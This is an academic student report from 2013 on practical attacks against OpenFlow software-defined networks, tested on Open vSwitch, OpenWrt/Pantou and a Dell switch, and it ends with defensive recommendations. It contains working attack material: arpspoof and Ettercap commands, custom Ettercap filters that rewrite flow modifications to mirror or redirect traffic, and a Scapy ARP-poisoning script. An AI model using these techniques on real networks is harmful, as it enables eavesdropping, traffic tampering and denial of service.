SSN PRACTICAL SECURITY - OS3 · PDF fileWe focus in our experiments on practical security...

SSN PROJECT REPORT

PRACTICAL SECURITY

ANALYSIS OF OPENFLOW UNIVERSITY OF AMSTERDAM

SYSTEM AND NETWORK ENGINEERING (MSC)

Daniel Romão ([email protected])

Niels van Dijkhuizen ([email protected])

Stavros Konstantaras ([email protected])

George Thessalonikefs ([email protected])

December 24, 2013

ABSTRACT

OpenFlow allows network administrators to manage the behavior of their

network by running a software application on a network controller device.

This network element can insert dynamic control flow policies by modifying

the flow tables of each switch and create interconnecting paths between the

other elements of the network. Due to the fact that Software Defined

Networking is a new concept promising to change the future of computer

networks, there are many security aspects that need to be researched before

companies start to deploy OpenFlow in large scale production and backbone

networks. We focus in our experiments on practical security issues of

OpenFlow. So far previous work has been pretty theoretical; we hope to get

some significant results from our tests on a real world implementation.

2

INHOUD

1. Introduction .............................................................................................................. 3

1.1 Research Question .............................................................................................. 4

1.2 Related work ....................................................................................................... 4

2. OpenFlow Vulnerabilities ......................................................................................... 4

2.1 General Vulnerabilities ........................................................................................ 4

3. The testing environment .......................................................................................... 5

3.1 Network topology and common configurations............................................... 5

3.2 An introduction to POX....................................................................................... 6

3.3 Virtualized Setup ................................................................................................. 6

3.4 Hardware Setup .................................................................................................. 7

4. Experiments .............................................................................................................. 7

4.1 Scenario 1 - Interrupt Communications channel ................................................ 7

4.1.1 Approach ....................................................................................................... 8

4.1.2 Results ........................................................................................................... 9

4.2 Scenario 2 - Port Mirroring with OpenFlow ...................................................... 11

4.2.1 Side notes ..................................................................................................... 12

4.2.1 Results .......................................................................................................... 12

4.3 Scenario 3 - Stealthy MitM at production network .......................................... 12

4.3.1 Results ......................................................................................................... 14

4.4 Scenario 4 – DoS switch’s flow table ............................................................... 14

4.4.1 Controller side .............................................................................................. 15

4.4.2 Client side...................................................................................................... 15

4.4.3 Results ......................................................................................................... 16

4.5 Scenario 5 – Testing debug mode .................................................................... 18

5. Conclusion ............................................................................................................... 19

References ............................................................................................................................... 20

APPENDIX ................................................................................................................................. 21

Appendix 1: Modified POX module for Scenario1 .............................................................. 21

Appendix 2: Stealthy poison script (stealthy_poison.py) ................................................ 22

Appendix 3: ........................................................................................................................ 23

Appendix 4: Pox module (fill-flowtable.py)...................................................................... 24

Appendix 5: Get Statistics script for OpenvSwitch (get_stats.sh) .................................. 26

Appendix 6: Get Statistics script for OpenWRT(ovs_get_stats.sh) ................................ 26

Appendix 7: etterfilter extension for openflow support (etterfilter.tbl) ....................... 27

3

1. INTRODUCTION

In the last decade we have seen that Cloud computing and the virtual infrastructures on

which it is build, changed the Internet and the way we work. Big-Data is another hype

that’s changing the IT landscape drastically. One of the things that haven’t changed much

is the way we use the network. The slow adoption of IPv6 illustrates nicely that it’s not an

easy thing to change network. Businesses feel the need to have a more flexible network

and like to manage the network at a higher abstraction level.

One of the latest concepts is the so-called “Software Defined Networking” which

promises to bring revolution in many fields of computer networking like telecom-

munication networks, data center connectivity, wireless and enterprise networks etc.

According to Wikipedia:

“Software-defined networking (SDN) is an approach to building data networking

equipment and software that separates and abstracts elements of these systems.

SDN allows system administrators to network services more easily through

abstraction of lower level functionality into virtual services. This replaces having to

manually configure hardware.”

OpenFlow is the foundation (southbound protocol) of SDN. The Open Networking

Foundation is responsible for promoting OpenFlow and SDN and there are currently over

a hundred members [1]. So OpenFlow is seen more and more in network devices. The

origin of OpenFlow can be traced back to Ethane (2006), which was also developed at

Stanford University [2].

OpenFlow separates the control plane from the data plane of an ordinary Ethernet switch

or router. While the data plane still remains on the switch, control plane is located and

managed from a new network entity called OpenFlow Controller or simply Controller. The

Controller has the ability to speak with many OpenFlow enabled switches on the network

and manages the traffic according to policies or administrator’s decisions.

This enables for more flexible and efficient network set-ups when combined with

northbound SDN protocols.

Figure 1: OpenFlow components

4

1.1 RESEARCH QUESTION

The main research question which is summarizing our concerns can be expressed by the

following sentence: “Is it safe to use a common OpenFlow implementation at the moment

from a security standpoint?”

But from the main research question, we can extract the following sub-questions which

lead the team to work on the current project:

Can we exploit the communication channel between the switch and the

controller?

Will we be able to generate a DoS attack on network elements (switch and

controller)? What will be the effect?

1.2 RELATED WORK

During our research we discovered a couple of papers related to Software Defined

Networking and OpenFlow, some of them [3] [4] [5] [6] have a theoretical study on

overall security of SDN and they also mention Protocol Vulnerabilities and security issues.

But none of these papers describe in technical detail how OpenFlow implementations

could be abused by attackers. Hopefully we can make some of the weak spots of

OpenFlow visible with the proof of concepts in this report.

2. OPENFLOW VULNERABILITIES

2.1 GENERAL VULNERABILITIES

According to OpenFlow Switch Specification (version 1.0 paragraph 4.3) [7] if there is an

interruption between the switch and the controller, then the switch tries to contact any

backup controller(s) (when specified) and continue its normal operation. If the attempts

to contact any controllers fail, then the switch must drop immediately all the normal

flows. Later versions of the specification (version 1.1.0 onwards) define that flows already

in the switch continue to expire according to their timeouts. It is obvious that these

behaviors of the switch convert the controller into a major target for DoS attacks, as the

network setup will collapse in this case.

Furthermore, the default communication between these two entities is plain text and this

attracts the Man-in-the-Middle attacks. Version 1.0 of the switch specification defines an

optional secure connection through TLS protocol in order to secure the communication

between controller and switch. During our literature study, it became clear that the only

Controller with full TLS support was the Open vSwitch Controller. The same software

package can be used also as a virtual switch with OpenFlow capabilities and full TLS

support. The paper of Kevin Benton, L. Jean Camp and Chris Small [3] confirms our

research and also surprised us by mentioning that the only hardware OpenFlow switch

with TLS support is the NEC IP8800.

5

Another feature which is introduced by OpenFlow is the “listener mode”. This is meant for

debugging purposes. In this mode the switch will accept unauthenticated connections

from any source network and simply accept all commands. This feature allows

administrators to debug easily in difficult situations but in parallel gives the opportunity to

any attacker to modify or delete flows without conducting a Man-In-the-Middle attack

first.

3. THE TESTING ENVIRONMENT

3.1 NETWORK TOPOLOGY AND COMMON CONFIGURATIONS

We used several setups, but they all conformed to the general infrastructure described in

this paragraph.

Figure 2: Network setup

Hostname: IP: Switch port:

Switch 192.168.0.1 n.a.

Controller 192.168.0.2 Out-of-band port

Machine-X 192.168.0.3 Out-of-band port

Server-1 10.0.0.1 Port-1

Server-2 10.0.0.2 Port-2

Machine-Y 10.0.0.3 Port-3

Our topology consists of:

An OpenFlow controller: Controller, which was used to manage the OpenFlow

switch;

Machine-X, which acts as an attacking machine on the OpenFlow controller -

switch network;

6

An OpenFlow switch: Switch. We tested three different switch implementations.

All were used in the same fashion;

Three servers: Server-1 and Server-2, which act as legit servers on a production

network, and Machine-Y which is operated by a malicious user, and is used to

perform attacks involving the legit servers.

For Operating Systems, we used Debian stable on all machines, except on Machine-X and

on Machine-Y, which were used to perform the attacks on the networks. On those we

used the latest Kali Linux, which at the time was version 1.0.5. Kali Linux provided all the

tools we needed, on a platform optimized for penetration testing.

3.2 AN INTRODUCTION TO POX

POX was the OpenFlow controller of our choice. We used POX version 0.2.0 (carp) for all

tests, besides the TLS test, as POX doesn't support TLS at the moment.

POX is written in Python, which is a big advantage for us since we’re familiar with it and

need no recompilation for every change. POX allows addition of modules that can be

register actions to run on certain events. Examples of those events are 'Connection Up',

which is triggered when an OpenFlow switch connects to the controller, and 'Packet In',

that is triggered when the switch receives a packet-in message.

On the default installation of POX there are already some modules available, including

modules that implement the behavior of traditional Ethernet switches, or even hubs.

Using the Python POX libraries, we can create new modules, or modify the existing ones.

This gives us flexibility to make the OpenFlow switch behave the way we want.

3.3 V IRTUALIZED SETUP

Even though a virtualized setup was not our main target as a testing environment, we

decided to create one, so we could start our tests without a hardware OpenFlow switch.

However, as will be seen later, we got very interesting results from our virtualized setup,

and because some commercial OpenFlow switches run Open vSwitch (A virtual switch

with OpenFlow capabilities), which we used in this setup, the results of these tests ran on

the virtualized setup should also apply to these switches.

We deployed this testing setup on a machine with XenServer installed. With XenCenter,

software to manage XenServer installations, we created all the Virtual Machines of our

testing network, and configured/installed all the software we needed.

In the setup, as an OpenFlow switch, we used a virtual machine running Debian Wheezy,

with Open vSwitch version 1.4.2 installed. Each client (virtual machines connected to the

virtual switch) had a dedicated virtual interface. Those virtual interfaces were added to a

bridge we created on Open vSwitch, which was set-up to be managed by an OpenFlow

controller.

7

3.4 HARDWARE SETUP

Unfortunately, as is described later in this report, we had some issues using the virtualized

setup for MitM attacks. Despite our efforts to try to fix the problem, we were unable to

fix it, and we moved to a real setup.

The hardware setup was configured exactly the same as the virtual one. For the

connections of the management network and the OpenFlow network, we used two

consumer grade TP-LINK Ethernet switches.

In this set-up we used two different OpenFlow capable switches: A TP-LINK WR1043ND [8]

and a Dell S4820T [9].

TP-LINK WR1043ND:

This is a typical consumer grade wireless router, but with be big advantage of

supporting Pantou [10], an OpenWrt based firmware with OpenFlow support in

user space.

Dell S4820T:

We received a Dell S4820T for testing, supplied by Dell itself. This allowed us to test

a production grade switch with OpenFlow support. In order to integrate it into our

testing setup, we just had to replace the TP-LINK with the Dell.

This switch, as mentioned before, is a switch with OpenFlow support but not a pure

OpenFlow switch. The S4820T has all the features of a traditional production grade

switch, plus OpenFlow support. With it, we can setup only certain ports to be

managed by an OpenFlow instance, and have the remaining ports used in a

traditional way. The switch supports up to seven independent OpenFlow instances,

which can be managed by different controllers.

In order to save time, we used the serial connection to configure the switch. The

switch was running the latest firmware available at the time, which was FTOS 9.2

[11].

4. EXPERIMENTS

4.1 SCENARIO 1 - INTERRUPT COMMUNICATIONS CHANNEL

The communication channel between the switch and the controller is one of the most

crucial points in the OpenFlow infrastructure. Our goal in this scenario is to observe how

different implementations act when the connection between the switch and the

controller is interrupted.

8

Figure 3: Scenario 1

4.1.1 APPROA CH

In our test bed environments we focused on the OFC network. We used arpspoof (part of

the DSniff package) [12] on Machine-X to effectively do a MitM attack by ARP-poisoning

both the Controller and the Switch.

arpspoof -i eth0 -t 192.168.0.1 192.168.0.2

We also disabled IP forwarding on Machine-X so that all traffic ends there.

echo 0 > proc/sys/net/ipv4/ip_forward

For this test we used the following controllers on the Controller:

POX;

Open vSwitch-Controller.

Open vSwitch-Controller [13] is a simple OpenFlow controller reference implementation

provided with Open vSwitch mainly for testing purposes. We used it in our test along with

Open vSwitch in order to check the TLS implementation between controller and switch.

Currently Open vSwitch-Controller is the only controller that supports TLS.

The following OpenFlow switch implementations were used:

Open vSwitch;

Dell S4820T switch;

OpenWrt/Pantou.

According to the OpenFlow specifications (version 1.1.0 and onwards), when the

connection between the switch and the controller is interrupted and the switch cannot

contact any backup controllers, it should immediately enter either 'fail secure mode' or

'fail standalone mode'.

In fail secure mode the switch drops any packets that are destined for the controller and

any flows that are already in the flow table continue to expire according to their timeouts.

9

In fail standalone mode the switch reverts back to a legacy Ethernet switch or router.

4.1.2 RESULT S

Open vSwitch

The default behavior of the Open vSwitch is to enter 'fail standalone mode'. Based on this

result we did a small experiment to highlight some unwanted behavior when the switch

enters this mode as a result of poor configuration.

We manipulated the default l2_learning module that comes with POX (see Appendix 1) to

drop packets coming from Machine-Y. In this way we effectively created two logically

separated networks. We assumed that Server-1 and Server-2 belong to a production

network and Machine-Y belongs to an experiment network that is not able to

communicate with the production network for security reasons.

We initiated a ping from Machine-Y to Server-1 and from Server-2 to Server-1 and after a

while we interrupted the connection between the Controller and the Switch. The results

are obvious from the following log and we can safely say that in this scenario the

production network could be damaged by unwanted communication.

PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.

From 10.0.0.3 icmp_seq=40 Destination Host Unreachable

From 10.0.0.3 icmp_seq=.. Destination Host Unreachable (repeated output)

From 10.0.0.3 icmp_seq=59 Destination Host Unreachable

64 bytes from 10.0.0.1: icmp_req=60 ttl=64 time=2061 ms

64 bytes from 10.0.0.1: icmp_req=61 ttl=64 time=1093 ms

64 bytes from 10.0.0.1: icmp_req=62 ttl=64 time=86.3 ms






We changed the default fail mode of Open vSwitch to 'fail secure mode' to also check its

implementation.

ovs-vsctl set-fail-mode br0 secure

The results were as expected and in line with the OpenFlow specification. No more

packets were sent to the controller and the existing flows in the flow table expired

according to their timeouts.

OpenWrt/Pantou

The default behavior of the OpenWrt/Pantou switch is to enter 'fail secure mode' and

according to the OpenFlow specification no more packets were sent to the controller and

the existing flows in the flow table expired according to their timeouts.

10

Dell S4820T switch

The default behavior of the Dell S4820T switch is to enter 'fail secure mode' but with

different results than those specified by the OpenFlow specification. When the connection

is interrupted the switch immediately enters 'fail secure mode' and drops all flows

currently in the flow table. This is in line with old OpenFlow specifications (version 1.0).

TLS implementation of Open vSwitch and Open vSwitch-Controller

In order to create keys and certificates for the TLS communication between Controller

and Switch we used the ovs-pki command that comes with Open vSwitch.

ovs-pki is a simple OpenFlow public key infrastructure management utility that generates

a pair of certificate authorities for controllers and switches that will be pinned to the

Switch and the Controller respectively and also generate private keys and certificate

request and can also sign them with the aforementioned certificates.

In our setup we configured ovs-pki req on both the Controller and the Switch to generate

their private keys and certificate requests. Then on the PKI machine (we chose the

Controller for our convenience) we initiated our PKI, ovs-pki init, and signed the

certificates.

In order to get information about the connection we used openssl s_client from the Switch

to connect to the Controller, providing the Switch's private key, certificate and the CA

certificate. The following log shows the cipher suite used during the session and the TLS

version.

CONNECTED(00000003)

>>> TLS 1.2 Handshake [length 013b], ClientHello

(openssl s_client ClientHello message)

<<< TLS 1.0 Handshake [length 003a], ServerHello

(Open vSwitch-Controller ServerHello message)

New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA

Server public key is 2048 bit

Secure Renegotiation IS supported

Compression: zlib compression

Expansion: zlib compression

SSL-Session:

Protocol : TLSv1

Cipher : DHE-RSA-AES256-SHA

Session-ID: (obfuscated)

Session-ID-ctx:

Master-Key: (obfuscated)

Key-Arg : None

PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 7200 (seconds)

TLS session ticket: (obfuscated)

11

We see that the connection was established using TLSv1.0 even though at the start

openssl s_client tried to establish a connection in TLSv1.2. TLS has already been updated to

version 1.1 in 2006 and version 1.2 in 2008 fixing a series of vulnerabilities that can

compromise a secure connection.

4.2 SCENARIO 2 - PORT M IRRORING WITH OPENFLOW

After having done Scenario 1, we would like to explore the further possibilities an intruder

has at the OFC-network. We wanted to create a mirror port on the OFS by inserting extra

OF actions when flow modifications occur.


After inspecting the OpenFlow 1.0 specifications and inspecting the protocol with

Wireshark in combination with the OpenFlow dissector plug-in, we decided to use

Ettercap [14] to do the MitM and use its filter functionality to do the packet injection.

Since Etterfilter does not support OpenFlow protocol, it was necessary for us to extend

the tool (see Appendix 7) in order to be able to parse the incoming packets with virtual

pointers. This solution gave us the ability to write simple Ettercap filters for catching the

Controller’s commands and manipulate the packets according to our plans.

if (tcp.src == 6633 && ofpfm.version == 0x01 && ofpfm.type == 14){

# We received an openflow message

if(ofpfm.command == 0 ){

msg("--- Flow Mod found ---");

ofpfm.length += 8;

inject("mirror_to_port3_action.injection");

}

}

The injected action was generated with a simple command:

printf "\x00\x00\x00\x08\x00\x03\x00\x00" > mirror_to_port3_action.injection

12

where byte 6 is the port number.

Now running the MitM again from Machine-X with ettercap -T -M arp -F

scenario2.ef -i eth0 /192.168.0.2/ /192.168.0.1/ -V hex and putting Machine-Y's

NIC in promiscuous-mode, we can capture all traffic between Server-1 and Server-2.

4.2.1 S IDE NO TE S

This scenario was only tested on the OpenWrt/Pantou implementation, since we didn't get

promiscuous mode to work properly in the virtual environment and we didn't have the

Dell switch available yet. We do expect however the same behaviors on the Dell switch.

In order to see how the switch behaved, we had to keep track of the flows inside the flow-

table. So we created a Perl-script (see Appendix 3) that gets the flow-table data (through

telnet or directly using the dpctl-utility) that does parsing and printing for us in a more

readable way. Here is an example output of the script:

Idle Hard Duration

Source: Destination: Timeout: Timeout: nseconds: Type: Action: Traffic:

10.0.0.1 -> 10.0.0.2: 10 30 713000000 [ tcp] output:3 ('tcp:42975->tcp:80')

10.0.0.1 -> 10.0.0.3: 10 30 78000000 [ arp] output:3 ('arp-reply')

10.0.0.2 -> 10.0.0.3: 10 30 72000000 [ arp] output:3 ('arp-reply')

Dnsmasq [15] is a DHCP server and DNS forwarder that runs by default on OpenWrt. A nice

side effect of the version we ran, was that it prevented ARP cache poisoning. Dnsmasq

isn't advertising with this behavior and we didn't need DHCP nor DNS, so for the test it

was disabled.

4.2.1 RESULT S

We could eavesdrop on communication between Server-1 and Server-2 pretty easily. Here

follows an excerpt from what we could see:

18:58:26.518729 IP server1.39601 > server2.http:

Flags [P.], seq 1:117, ack 1, win 46, options

[nop,nop,TS val 47478684 ecr 88530803], length 116

0x0000: ..^Q....^Q....E.

0x0010: ..S.@.@.........

0x0020: .....P..$.Z.]4..

0x0030: ............w..F

0x0040: .sGET./index.htm

0x0050: l.HTTP/1.0..User

0x0060: -Agent:.Wget/1.1

0x0070: 2.(linux-gnu)..A

0x0080: ccept:.*/*..Host

0x0090: :.10.0.0.2..Conn

0x00a0: ection:.Keep-Ali

0x00b0: ve....

4.3 SCENARIO 3 - STEALTHY M ITM AT PRODUCTION NETWOR K

Expanding on the previous scenario, we wanted to see if it's possible to do a MitM attack

that's harder to detect than one based on the classical ARP cache poisoning. Normal ARP

13

cache poisoning is done by sending ARP replies with a short interval (in the range of

seconds). This behavior might be detected by software because the receiver didn't send

an ARP request.


By modifying the flow mods with Ettercap on Machine-X, we can force a connection

between ports 1-3 and 2-3 and disallow communication between ports 1-2. All traffic can

therefore be seen by Machine-Y. We did this with the following Ettercap filter:

if (tcp.src == 6633 && ofpfm.version == 0x01 && ofpfm.type == 14){

# We received an openflow message

if(ofpfm.command == 0 && ofpfm.matchinport != 3 ){

msg("Flow Mod: Change out-port to 3");

if ( ofpfm.length == 80 ) {

ofpfm.pactionoutport = 3;

}

if ( ofpfm.length > 80 ) {

ofpfm.aoutport = 3;

}

}

}

After starting the Ettercap filtering with ettercap -T -M arp -F scenario3.ef -i eth0

/192.168.0.2/ /192.168.0.1/ -V hex, Server-1 and Server-2 can't connect to each other

anymore. So after a while they will send out ARP requests/broadcasts. If Machine-Y is able

to respond on those requests with its own MAC, this machine is able to do traffic

forwarding. We were able to generate ARP replies with Python and the Scapy-module

[16]. Although it wasn't completely stable, it was good enough for our proof of concept

(see Appendix 2).

By running Ettercap on Machine-Y too, we can do some more filtering, just to show the

proof of concept. This time we don't want Ettercap to do ARP poisoning for us, since we

14

already managed to change the ARP cache of Server-1 and Server-2 with the Scapy script.

So we ran ettercap -T -F replace_http_content.ef -i eth0 /10.0.0.1/ /10.0.0.2/

if (ip.proto == TCP && search(DATA.data, "Top") ) {

replace("Top", "Hot");

msg("Substituted 'Top' to 'Hot'.\n");

}

Server-2 had an Apache HTTP server running and we were indeed able to replace "Top

secret" to "Hot secret".

4.3.1 RESULT S

The stealthier MitM was successful. And in order to see this we looked at the (modified)

downloaded html-file:

-=server1=-(root)~# cat index.html

<html>

<body>

<h1>Hot Secret</h1>

<p>If you can read this, it's pretty bad...</p>

</body>

</html>

4.4 SCENARIO 4 – DOS SWITCH’S FLOW TABLE

At this point of our project, the attacker is willing to implement a Denial of Service attack,

by filling the flow table of the Switch. According to the theory, if the attacker fills the flow

table with flows which do not correspond to the network's real traffic, then any new

client who is willing to use the network will be unable to do that. The Controller will be not

able to install any new flows so the client will be effectively denied usage of the network.


The success of this attack is determined by two parameters. The first one is the specified

(by the network administrator) expiration time of the flows that are installed. If the

15

Controller is configured to install flows without expiration time (permanent flows), then

the attacker's work is quite easy and the Switch will have a flow table full of 'fake' flows

no matter how much time is needed for the attack. On the other hand, if the Controller

installs flows to the switch with a short timeout, then the attacker's work is going to be

more difficult since he has to be able to fill the flow table before the flows start expiring.

This is actually the second parameter of the attack's success, the rate of establishing

flows. In the case of the permanent flows, there is no concern about the rate and the time

needed to fill the flow table. But when a timeout is specified and the flows expire after 60

or 30 seconds for example, the attacker needs to have a high enough rate of inserting

flow mods. As a result even if the Switch drops the flows that have expired, the newly

inserted ones will more than compensate for this loss.

In the following tests we had configured POX to insert permanent flows in the Switch in

order to examine what the results of a DoS attack would be. Implementing a DoS attack

on a Switch with expiring flows is out of the scope of this project.

4.4.1 CON TRO LLER SID E

This scenario was implemented in two ways. The first way was by creating a module for

the POX controller, that as soon as a connection with the Switch was established, POX

would infinitely generate and push flow mods to the Switch in order to fill the flow table.

This module, (see Appendix 4), registers a function which is run on a Connection Up event.

The function that is registered will generate MAC addresses, one as source and one as

destination, and IP addresses, again one as source and one as destination, and ports,

which will be used along with other manually set values to create a complete flow mod

packet.

When using the virtualized environment and the Dell switch, we were able to add flows at

the speed the controller could generate them. When using the TP-LINK switch, we had to

add a small (50 milliseconds) delay. This was needed because of the hardware limitations

of the switch, which prevented us to add flows at the full rate, leading to flows being

dropped, even in the beginning.

4.4.2 CLIE NT SID E

The second way for implementing that scenario was at the client side of the OpenFlow

Network. By using Scapy on Machine-Y, we were able to send a huge amount of ICMP

packets with different IP addresses. This approach forces the controller to install new

flows for every different echo request that it gets, since the incoming packets do not

match any existing flows in the switch.

By having Scapy running for an adequate period of time it was possible to fill the flow

table of the Switch.

16

4.4.3 RESULT S

On both client and controller side, we got the same results regarding the amount of flows

we could insert and the behavior after the flow table was full. Because of that, we will

separate the results by OpenFlow switch.

Open vSwitch

While running the tests, we ran a custom bash script (see Appendix 5) to capture the

amount of flows in the Switch and the amount of free memory on the machine. The data

generated by this script was used to create the image below.

Figure 7: Open vSwitch in Scenario 4

From our tests it is clear that Open vSwitch is not aware of the memory limitations of the

machine and doesn't have a maximum number of flows it can store. The switch will accept

as many flows as it can if there is still free memory on the machine. When the amount of

free memory is critically low (on our Virtual Machine it was measured just below 3 MB),

the operating system will kill the Open vSwitch process in order to save the machine from

a complete DoS. We can see on the graph that the system is constantly trying to free

memory from other applications before eventually killing Open vSwitch.

As a result of the Open vSwitch process being killed by the operating system, all network

communications based on the Switch will stop, leading to a successful DoS attack.

One thing that should be taken into account is that our Open vSwitch virtual machine only

had 256 MB of memory, and the swap partition was disabled. An attempt to repeat this on

a high spec machine would take a longer time (this test took us about 5 minutes),

especially when the swap partition would start to be used. Regardless of the time needed

to perform the attack, we expect the final result would be the same.

OpenWrt/Pantou

On this switch implementation, besides the regular no-timeout flows, we also tried to see

the behavior of the switch when using flows with a timeout. The figure 8 shows the

17

behavior of the switch when using flows with no timeout, and the figure 9 shows the

behavior of the switch when using flows with a timeout of 60 seconds.

Figure 8: OpenWrt/Pantou with no flow time out

Figure 9: OpenWrt/Pantou with 60 seconds flow time out

In order to get the results and present the mentioned diagrams we used a modified

version of the shell script (see Appendix 6) we created for the previous test. Contrary to

the Open vSwitch, the OpenWrt/Pantou implementation on the TP-LINK switch does have

a defined flow table capacity, and when the limit is reached, the switch will send error

messages to the Controller informing that a flow mod was dropped because the flow

table was full.

A special behavior we observed is when the flow table is reaching its limit. Flow mods

coming from the Controller start to be dropped, and filling the remaining space of the

table takes longer. This might be due to hardware or software limitations of the switch.

On the test where we used flows with time out, we were not able to fill the flow table, as

it takes longer to fill it than the flows expiration time. This leads us to the conclusion that

18

this attack can only be successful if the time needed to fill the flow table is shorter that

the timeout of the flows.

Dell S4820T

We were quite surprised with the result of our tests on the Dell switch. First of all, we

need to define the amount of Content Addressable Memory (from now on CAM) space

that will be used for OpenFlow.

We could add flows on the Dell, as fast as the controller could generate them, and when

the flow table is full, the behavior of this switch is the same as the OpenWrt/Pantou

implementation. The switch reports to the controller that a particular flow mod was not

added because the flow table was full.

Using the maximum amount of CAM space for OpenFlow (8 blocks), we could only add

249 flows to the switch, half of what is on the manual [14].

It took us about 2 seconds to fill the flow table of the Switch. Even if we set an idle

timeout for the flows of 10 seconds, which is the value used by the stock forwarding

modules of POX, we can still fill the flow table and re-fill it when the flows are dropped.

4.5 SCENARIO 5 – TESTING DEBUG MODE

A debug mode often called listening mode, is available in switches' implementation. It is a

plain text TCP connection straight to the data path of the switch and is intended for

debugging purposes only. It provides the user the ability to create, modify and delete

switch's data paths along with manipulating flows in the flow table (dumping, adding,

deleting).

In the three switches we tested, only the OpenWrt/Pantou had this feature enabled by

default and we could manipulate the switch's flow table from every machine that could

connect to the Switch. When changing the default configuration to listen only from a

specific IP address it was accepting connections only from that IP, but being a plain text

TCP connection it is subject to MitM attacks.

It is also noted that even when the Switch has established a connection to the Controller,

one can still connect through the listening mode and modify the flow table.

19

5. CONCLUSION

After all, can we say that OpenFlow is ready for production networks? No, not really. We

successfully executed a couple of attacks on some of the protocol´s implementations. The

growing interest and adoption by vendors, network administrator and researchers is

something that we like to see, but for now the flexibility and greatness of OpenFlow

comes with a price.

We agree that the support of TLS by both switch and controller is essential, and support

for secondary controllers would also be a big help. The decentralization of the intelligence

of the switch allows more flexibility, but it is one of the components that should be

properly secured, from both security attacks and hardware/power failure.

Some recommendations / ideas:

In order to avoid drastic switch behavior (the tested fallback modes) when the

connection between the controller and the switch is lost, one could use an

embedded controller in the switch that act as a fallback controller with a sparse

but essential set of rules;

In order to avoid intruders on the OpenFlow channel admins should use

dedicated VLANs and force TLS in their set-ups;

OF enabled hardware could have some basic ARP spoof detection mechanisms on

by default (like we experienced on Pantou with Dnsmasq);

Customers should demand TLS from the vendors;

Controllers should be able to detect anomalies based on networking baselines.

This could be coupled with existing IDS systems or monitoring systems;

20

REFERENCES

[1] “Open Networking Foundation,” https://sdndirectory.opennetworking.org/.

[2] S. Evans, "ComputerWeekly.com - The history of OpenFlow,"

http://www.computerweekly.com/feature/The-history-of-OpenFlow.

[3] K. Benton, L. J. Camp and C. Small, "OpenFlow Vulnerability Assessment,"

http://conferences.sigcomm.org/sigcomm/2013/papers/hotsdn/p151.pdf.

[4] V. Kulkarni and J. Kawli, "Analysis of OpenFlow Networks,"

http://www.cs.indiana.edu/cgi-

pub/jkawli/jayeshkawli/docs/Analysis%20of%20OpenFlow%20Networks.pdf.

[5] M. Wasserman and S. Hartman. http://tools.ietf.org/html/draft-mrw-sdnsec-

openflow-analysis-02.

[6] R. Kloeti. ftp://yosemite.ee.ethz.ch/pub/students/2012-HS/MA-2012-20_signed.pdf.

[7] http://archive.openflow.org/documents/openflow-spec-v1.0.0.pdf.

[8] http://wiki.openwrt.org/toh/tp-link/tl-wr1043nd.

[9] http://www.dell.com/us/business/p/force10-s4820/pd.

[10] http://archive.openflow.org/wk/index.php/Pantou_:_OpenFlow_1.0_for_OpenWrt.

[11] ftp://ftp.dell.com/Manuals/all-

products/esuprt_ser_stor_net/esuprt_force10/force10-

s4820_Reference%20Guide4_en-us.pdf.

[12] D. Song, "DSniff," http://www.monkey.org/~dugsong/dsniff/.

[13] http://openvswitch.org/cgi-bin/ovsman.cgi?page=utilities%2Fovs-controller.8.

[14] "Ettercap," http://ettercap.github.io/ettercap/.

[15] "DNSMasq," http://www.thekelleys.org.uk/dnsmasq/doc.html.

[16] "Scapy," http://www.secdev.org/projects/scapy/.

[17] http://archive.openflow.org/documents/openflow-spec-v1.1.0.pdf.

[18] https://www.opennetworking.org/images/stories/downloads/sdn-resources/onf-

specifications/openflow/openflow-spec-v1.3.3.pdf.

[19] https://www.opennetworking.org/images/stories/downloads/sdn-resources/onf-

specifications/openflow/openflow-spec-v1.4.0.pdf.

21

APPENDIX

Appendix 1: Modified POX module for Scenario1

Modified code from the l2 learning switch module:

# Set hard_timeout to a lower value to generate more requests msg.idle_timeout = 2 msg.hard_timeout = 5 # If the request doesn’t come from port 3 (the isolated network), set rule to forward traffic. if(event.port != 3): print "Will work:" print "Destination Port: "+str(port) print "Source port: "+str(event.port) print msg.actions.append(of.ofp_action_output(port = port)) else: print "Will NOT work:" print "Destination Port: "+str(port) print "Source port: "+str(event.port) print msg.data = event.ofp self.connection.send(msg)

Output from the Controller:

INFO:openflow.of_01:[00-23-20-e2-e0-78 4] connected Will work: Destination Port: 3 Source port: 1 Will NOT work: Destination Port: 1 Source port: 3 Will NOT work: Destination Port: 1 Source port: 3 Will work: Destination Port: 1 Source port: 2 Will work: Destination Port: 2 Source port: 1 Will work: Destination Port: 2 Source port: 1 Will work: Destination Port: 2 Source port: 1 Will work: Destination Port: 1 Source port: 2

22

Will work: Destination Port: 1 Source port: 2 Will work: Destination Port: 1 Source port: 2 Will work: Destination Port: 1 Source port: 2 Will work: Destination Port: 2 Source port: 1 Will NOT work: Destination Port: 1 Source port: 3 Will work: Destination Port: 2 Source port: 1 Will work: Destination Port: 1 Source port: 2 INFO:openflow.of_01:[00-23-20-e2-e0-78 4] closed

Appendix 2: Stealthy poison script (stealthy_poison.py)

#!/usr/bin/env python import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import time usleep = lambda x: time.sleep(x/1000000.0) conf.verb = 0 def arp_display(pkt): if pkt[ARP].op == 1: #who-has (request) if pkt[ARP].psrc == "10.0.0.1" and pkt[ARP].pdst == "10.0.0.2": pkt2 = Ether(dst='00:0a:5e:51:c2:8f')/ARP(hwsrc='90:e6:ba:55:9a:17', pdst='10.0.0.1', psrc='10.0.0.2', op=1) sendp(pkt2,iface="eth0") return "poisonned node: " + pkt[ARP].psrc elif pkt[ARP].psrc == "10.0.0.2" and pkt[ARP].pdst == "10.0.0.1": pkt3 = Ether(dst='00:0a:5e:51:c2:bd')/ARP(hwsrc='90:e6:ba:55:9a:17', pdst='10.0.0.2', psrc='10.0.0.1', op=1) sendp(pkt3,iface="eth0") return "poisonned node: " + pkt[ARP].psrc else: return "Not a request for us" while True: print sniff(prn=arp_display, filter="arp", store=0, count=1) usleep(10000)

23

APPENDIX 3: WA TCH FLOWTABL E RE MO TEL Y

(WA T CH_FLOW TA BL E_R EMOT E .PL)

